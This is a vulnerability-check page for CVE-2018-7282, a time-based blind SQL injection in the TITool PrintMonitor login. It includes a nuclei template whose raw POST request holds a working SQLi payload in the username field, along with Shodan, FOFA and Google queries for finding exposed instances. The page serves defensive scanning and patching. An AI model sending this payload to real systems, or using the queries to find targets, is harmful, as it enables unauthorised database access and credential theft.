CVE-2018-7282· titool / printmonitor· CWE-89
TITool PrintMonitor - Blind SQL Injection
criticalseverity
9.8CVSS score
11.3%likelihood of exploitation, next 30 days
96%of all CVEs are less likely
Readycheck to confirm it
The username parameter of the TITool PrintMonitor solution during the login request is vulnerable to and/or time-based blind SQLi.
Impact
Unauthenticated attackers can execute time-based blind SQL injection to extract database contents, potentially compromising user credentials and sensitive printing data.
Fix
Upgrade to PM18.2.1.
How to confirm it
Send: @timeout: 20s
Positive when: duration>=6 and status_code == 200 and contains(body, "PrintMonitor") && contains(header, "text/html")Run it with nuclei: nuclei -id CVE-2018-7282 -u <target>
The full check
id: CVE-2018-7282
info:
name: TITool PrintMonitor - Blind SQL Injection
author: theamanrawat
severity: critical
description: |
The username parameter of the TITool PrintMonitor solution during the login request is vulnerable to and/or time-based blind SQLi.
impact: |
Unauthenticated attackers can execute time-based blind SQL injection to extract database contents, potentially compromising user credentials and sensitive printing data.
remediation: Upgrade to PM18.2.1.
reference:
- https://fenceposterror.github.io/cve-2018-7282.txt
- https://nvd.nist.gov/vuln/detail/CVE-2018-7282
- http://print.com
- http://ti-tool.com
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2018-7282
cwe-id: CWE-89
epss-score: 0.11294
epss-percentile: 0.96008
cpe: cpe:2.3:a:titool:printmonitor:*:*:*:*:*:*:*:*
metadata:
verified: "true"
max-request: 1
vendor: titool
product: printmonitor
shodan-query:
- title:"PrintMonitor"
- http.title:"printmonitor"
fofa-query: title="printmonitor"
google-query: intitle:"printmonitor"
product": printmonitor
tags: time-based-sqli,cve2018,cve,sqli,printmonitor,unauth,titool,vkev,intrusive,vuln
variables:
username: "{{rand_base(6)}}"
password: "{{rand_base(8)}}"
http:
- raw:
- |
@timeout: 20s
POST /login.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
username={{username}}')+OR+4191=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(50000000/2))))--+vDwl&password={{password}}&language=en
host-redirects: true
matchers:
- type: dsl
dsl:
- 'duration>=6'
- 'status_code == 200'
- 'contains(body, "PrintMonitor") && contains(header, "text/html")'
condition: andReferences
- https://fenceposterror.github.io/cve-2018-7282.txt
- https://nvd.nist.gov/vuln/detail/CVE-2018-7282
- http://print.com
- http://ti-tool.com
Use this check only on systems you are authorised to test. Where the data comes from